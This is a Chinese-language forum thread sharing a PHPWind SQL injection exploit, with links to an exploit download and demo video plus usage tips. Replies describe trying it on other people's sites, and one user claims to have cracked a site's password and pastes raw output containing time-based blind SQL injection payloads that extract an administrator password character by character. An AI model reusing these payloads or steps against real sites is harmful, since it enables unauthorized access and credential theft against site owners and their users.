PHPWIND SQL injection exploit [附演示动画]
信息来源：Cnlnfjhh's Blog
前段时间的DZ，这些天的phpwind，闹的老外都关注了。
几天前www.milw0rm.com已经公布了另一个SQL injection exploit
代码大家都已经有了吧，不是剑心的，是国外的。
偶找了个动画给大家观看。
大家先看完这个，再去尝试Sql吧
点我下载动画演示
PS:
-t为时间，一般为10-15分钟
-t10
需要提取phpwind的key，密匙。如果不行就换另一个。
点我下载执行代码
PS:
前提条件：php.ini中的
short_open_tag = off
研究下！！
呵呵 我也喜欢那个站 不过英文不好了！！ :lol:
看过了！ 结果和我最后用LINUX测试的差不多，但是返回结果。。。。 很慢！！ 而且那个漏洞说是只要低于5.0.1的版本都可以溢出！ 我对几个站也试了，答案NO！ ！
不知道 为什么 老外也会骗人？？
还是有别的方法？
前两天我就试成功了。。可是不知道这反回来的东西怎么个用法。。郁闷了。。麻烦房东讲讲了。。。
成功破解一个,并得到了他的密码
cookie prefix ->
sql -> 9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,1,1))=0),benchmark(20000
00,char(0)),-1))/**/AND/**/groupid=3/** MIT/**/1/*
starttime -> 1163420863
endtime -> 1163420868
difftime -> 5
sql -> 9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,1,1))=48),benchmark(2000
000,char(0)),-1))/**/AND/**/groupid=3/** MIT/**/1/*
starttime -> 1163420875
endtime -> 1163420880
difftime -> 5
反回的这些怎么用。。郁闷了。不明白。。
呵呵，具体的我也没测试。